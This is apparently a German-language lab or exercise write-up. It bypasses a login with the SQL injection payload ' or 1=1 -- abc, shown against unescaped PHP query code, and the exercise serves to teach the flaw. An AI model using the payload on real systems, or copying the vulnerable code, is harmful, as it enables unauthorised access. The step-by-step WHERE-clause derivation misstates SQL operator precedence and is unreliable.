This repository has been archived on 2025-01-16. You can view files and clone it, but cannot push or open issues or pull requests.

1.0 KiB

SQL Injection

Gegeben ist eine Login-Form. Ziel ist es, sich als Nutzer max anzumelden. Sein Passwort kennen wir nicht.

Lösung

Wir geben folgenden Daten ein:

  • Benuzername: max
  • Passwort: ' or 1=1 -- abc

Auf dem Server wird das dann etwa so ausgeführt:

<?php
function checkLogin() {
    $user = $_POST['user']; // ESCAPE FEHLT!!!!
    $password = $_POST['password']; // ESCAPE FEHLT!!!!

    $query = "SELECT * FROM users"
           . " WHERE user = '$user'"
           . " AND password='$password'"; // Siehe Hint
    return doesQueryReturnAnyRow($query);
}

if (checkLogin()) {
    echo "Information: Task solved!";
}

Mit unsere Eingabe kann man sich die Evaluierung des WHERE-Teils der Anfrage in der Datenbank in etwa so Vorstellen:

WHERE user = '$user' AND password='$password'
<=> WHERE user = 'max' AND password='' or 1=1 -- abc'
<=> WHERE user = 'max' AND 1=1 -- abc'
<=> WHERE user = 'max' -- abc'
<=> WHERE user = 'max'

Also Login wir mit max ein, ohne sein Passwort zu kennen.